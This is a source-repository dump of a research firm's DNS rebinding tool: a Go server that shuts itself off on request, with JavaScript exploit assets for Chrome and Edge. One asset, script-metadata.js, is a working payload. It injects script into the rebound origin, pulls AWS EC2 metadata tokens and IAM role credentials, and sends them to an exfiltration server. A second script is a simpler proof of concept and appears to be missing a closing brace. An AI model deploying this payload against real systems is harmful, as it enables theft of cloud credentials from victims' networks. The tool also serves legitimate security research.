├── LICENSE.md ├── README.md ├── assets ├── index.html ├── script-metadata.js ├── script.js └── token.txt ├── go.mod ├── go.sum └── main.go /LICENSE.md: -------------------------------------------------------------------------------- 1 | The Clear BSD License 2 | 3 | Copyright (c) 2023 Daniel Thatcher 4 | All rights reserved. 5 | 6 | Redistribution and use in source and binary forms, with or without 7 | modification, are permitted (subject to the limitations in the disclaimer 8 | below) provided that the following conditions are met: 9 | 10 | * Redistributions of source code must retain the above copyright notice, 11 | this list of conditions and the following disclaimer. 12 | 13 | * Redistributions in binary form must reproduce the above copyright 14 | notice, this list of conditions and the following disclaimer in the 15 | documentation and/or other materials provided with the distribution. 16 | 17 | * Neither the name of the copyright holder nor the names of its 18 | contributors may be used to endorse or promote products derived from this 19 | software without specific prior written permission. 20 | 21 | NO EXPRESS OR IMPLIED LICENSES TO ANY PARTY'S PATENT RIGHTS ARE GRANTED BY 22 | THIS LICENSE. THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND 23 | CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT 24 | LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A 25 | PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR 26 | CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, 27 | EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, 28 | PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR 29 | BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER 30 | IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) 31 | ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 32 | POSSIBILITY OF SUCH DAMAGE. 33 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | This is a web server that will shut off in response to requests to `/block`. This is useful for exploiting DNS rebinding against Chrome and Edge, as described in the accompanying [blog post](https://intruder.io/research/tricks-for-split-second-dns-rebinding). 2 | 3 | # Installation 4 | Ensure that you have golang properly installed, and then install this tool with: 5 | ``` 6 | go get github.com/intruder-io/rebind-server@latest 7 | ``` 8 | 9 | # Usage 10 | The port to listen on can be specified with `-p`, and the directory to serve files from can be specified with `-a` (default `./assets`). So, to listen on port 9000, serving files from `./my-exploit`, you can run: 11 | ``` 12 | rebind-server -p 9000 -a ./my-exploit 13 | ``` 14 | 15 | The server will shut off after a request is made to `/block`. While testing, it can often be helpful to run the server in a loop: 16 | ``` 17 | while :; do rebind-server -p 8080; sleep 2; done 18 | ``` 19 | 20 | You will likely have to run this server directly on the host - TCP forwarding won't work. 21 | -------------------------------------------------------------------------------- /assets/index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 |

test

5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /assets/script-metadata.js: -------------------------------------------------------------------------------- 1 | async function run() { 2 | // Wait for the iFrame to load 3 | while (true) { 4 | let frame = document.getElementById("frame") 5 | if (!frame) { 6 | await new Promise(r => setTimeout(r, 100)) 7 | continue 8 | } 9 | break 10 | } 11 | frame.onload = onFrameLoad 12 | frame.src = `${window.location}token.txt` 13 | } 14 | 15 | function onFrameLoad() { 16 | // Keep refereshing the iFrame until the token changes, indicating that DNS rebinding has worked 17 | let token = "testtoken" 18 | let doc = frame.contentDocument || frame.contentWindow.document 19 | let content = doc.body.innerText.trim() 20 | console.log(content) 21 | console.log(token) 22 | if (content != token) { // Rebinding has worked 23 | injectScript(frame) 24 | return 25 | } 26 | 27 | // Refresh the frame to try again 28 | frame.src = `${window.location}token.txt` 29 | } 30 | 31 | function injectFunc() { 32 | // Settings 33 | let debug = false 34 | let exfilServer = "http://CHANGEME:8080/" 35 | 36 | // This solves encoding issues found with the GCP metadata server 37 | function b64encode(text) { 38 | return btoa(unescape(encodeURIComponent(text))) 39 | } 40 | 41 | function exfil(data) { 42 | if (debug) { 43 | console.log(data) 44 | } 45 | fetch(`${exfilServer}?msg=${b64encode(data)}`) 46 | } 47 | 48 | function fetchMetdataAWS(headers = {}) { 49 | fetch("/latest/meta-data/iam/security-credentials", { 50 | headers: headers 51 | }) 52 | .then(resp => { 53 | if (resp.status == 404) { 54 | exfil("No roles found") 55 | } else { 56 | return resp.text() 57 | } 58 | }) 59 | .then(text => { 60 | exfil(`Found roles: ${text}`) 61 | let firstRole = text.split("\n")[0] 62 | return fetch(`/latest/meta-data/iam/security-credentials/${firstRole}`, { 63 | headers: headers 64 | }) 65 | }) 66 | .then(resp => resp.text()) 67 | .then(text => { 68 | exfil(`Found credentials: ${text}`) 69 | }) 70 | .catch(err => { 71 | exfil(`Error: ${err}`) 72 | }) 73 | } 74 | 75 | function fetchMetdataAWSv2() { 76 | let token = "" 77 | let method = "PUT" 78 | if (debug) { 79 | method = "GET" 80 | } 81 | fetch("/latest/api/token", { 82 | method: method, 83 | headers: { 84 | "X-aws-ec2-metadata-token-ttl-seconds": "21600" 85 | } 86 | }) 87 | .then(resp => resp.text()) 88 | .then(text => { 89 | token = text 90 | console.log(`Found token: ${token}`) 91 | exfil(`API token: ${token}`) 92 | let headers = { 93 | "X-aws-ec2-metadata-token": token 94 | } 95 | fetchMetdataAWS(headers) 96 | }) 97 | } 98 | 99 | fetchMetdataAWSv2() 100 | } 101 | 102 | function injectScript(frame) { 103 | let doc = frame.contentDocument || frame.contentWindow.document 104 | let script = document.createElement("script") 105 | script.setAttribute("type", "text/javascript") 106 | script.innerHTML = `${injectFunc.toString()}; injectFunc()` 107 | doc.body.append(script) 108 | } 109 | 110 | // Block our IP address 111 | fetch("/block") 112 | .finally(_ => { 113 | run() 114 | }) 115 | -------------------------------------------------------------------------------- /assets/script.js: -------------------------------------------------------------------------------- 1 | async function run() { 2 | // Wait for the iFrame to load 3 | while (true) { 4 | let frame = document.getElementById("frame") 5 | if (!frame) { 6 | await new Promise(r => setTimeout(r, 100)) 7 | continue 8 | } 9 | break 10 | } 11 | frame.onload = onFrameLoad 12 | frame.src = `${window.location}token.txt` 13 | } 14 | 15 | function onFrameLoad() { 16 | // Keep refereshing the iFrame until the token changes, indicating that DNS rebinding has worked 17 | let token = "testtoken" 18 | let doc = frame.contentDocument || frame.contentWindow.document 19 | let content = doc.body.innerText.trim() 20 | console.log(content) 21 | console.log(token) 22 | if (content != token) { // Rebinding has worked 23 | injectScript(frame) 24 | return 25 | } 26 | 27 | // Refresh the frame to try again 28 | frame.src = `${window.location}token.txt` 29 | } 30 | 31 | function injectFunc() { 32 | fetch("/secret.txt") 33 | .then(r => r.text()) 34 | .then(text => { 35 | alert(text) 36 | }) 37 | 38 | function injectScript(frame) { 39 | let doc = frame.contentDocument || frame.contentWindow.document 40 | let script = document.createElement("script") 41 | script.setAttribute("type", "text/javascript") 42 | script.innerHTML = `${injectFunc.toString()}; injectFunc()` 43 | doc.body.append(script) 44 | } 45 | 46 | // Block our IP address 47 | fetch("/block") 48 | .finally(_ => { 49 | run() 50 | }) 51 | -------------------------------------------------------------------------------- /assets/token.txt: -------------------------------------------------------------------------------- 1 | testtoken 2 | -------------------------------------------------------------------------------- /go.mod: -------------------------------------------------------------------------------- 1 | module github.com/intruder-io/rebind-server 2 | 3 | go 1.20 4 | 5 | require github.com/spf13/pflag v1.0.5 6 | -------------------------------------------------------------------------------- /go.sum: -------------------------------------------------------------------------------- 1 | github.com/spf13/pflag v1.0.5 h1:iy+VFUOCP1a+8yFto/drg2CJ5u0yRoB7fZw3DKv/JXA= 2 | github.com/spf13/pflag v1.0.5/go.mod h1:McXfInJRrz4CZXVZOBLb0bTZqETkiAhM9Iw0y3An2Bg= 3 | -------------------------------------------------------------------------------- /main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "context" 5 | "fmt" 6 | "net" 7 | "net/http" 8 | "time" 9 | 10 | flag "github.com/spf13/pflag" 11 | ) 12 | 13 | // https://stackoverflow.com/a/33881296 14 | var epoch = time.Unix(0, 0).Format(time.RFC1123) 15 | 16 | var noCacheHeaders = map[string]string{ 17 | "Expires": epoch, 18 | "Cache-Control": "no-cache, private, max-age=0", 19 | "Pragma": "no-cache", 20 | "X-Accel-Expires": "0", 21 | } 22 | 23 | var etagHeaders = []string{ 24 | "ETag", 25 | "If-Modified-Since", 26 | "If-Match", 27 | "If-None-Match", 28 | "If-Range", 29 | "If-Unmodified-Since", 30 | } 31 | 32 | func NoCache(h http.Handler) http.Handler { 33 | fn := func(w http.ResponseWriter, r *http.Request) { 34 | // Delete any ETag headers that may have been set 35 | for _, v := range etagHeaders { 36 | if r.Header.Get(v) != "" { 37 | r.Header.Del(v) 38 | } 39 | } 40 | 41 | // Set our NoCache headers 42 | for k, v := range noCacheHeaders { 43 | w.Header().Set(k, v) 44 | } 45 | 46 | // Also set "Connection: close" 47 | w.Header().Set("Connection", "close") 48 | 49 | h.ServeHTTP(w, r) 50 | } 51 | 52 | return http.HandlerFunc(fn) 53 | } 54 | 55 | func main() { 56 | // Flags 57 | var port = flag.IntP("port", "p", 8080, "port to listen on") 58 | var assetsDir = flag.StringP("assets-dir", "a", "./assets", "assets directory") 59 | flag.Parse() 60 | 61 | var server http.Server 62 | 63 | // Create a static fileserver with 1 API endpopint 64 | mux := http.NewServeMux() 65 | mux.HandleFunc("/block", func(w http.ResponseWriter, r *http.Request) { 66 | fmt.Println("Shutting down server") 67 | server.Shutdown(context.Background()) 68 | }) 69 | fs := http.FileServer(http.Dir(*assetsDir)) 70 | mux.Handle("/", NoCache(fs)) 71 | server = http.Server{ 72 | Handler: mux, 73 | } 74 | listener, err := net.Listen("tcp6", fmt.Sprintf(":%d", *port)) 75 | if err != nil { 76 | panic(err) 77 | } 78 | 79 | server.Serve(listener) 80 | } 81 | --------------------------------------------------------------------------------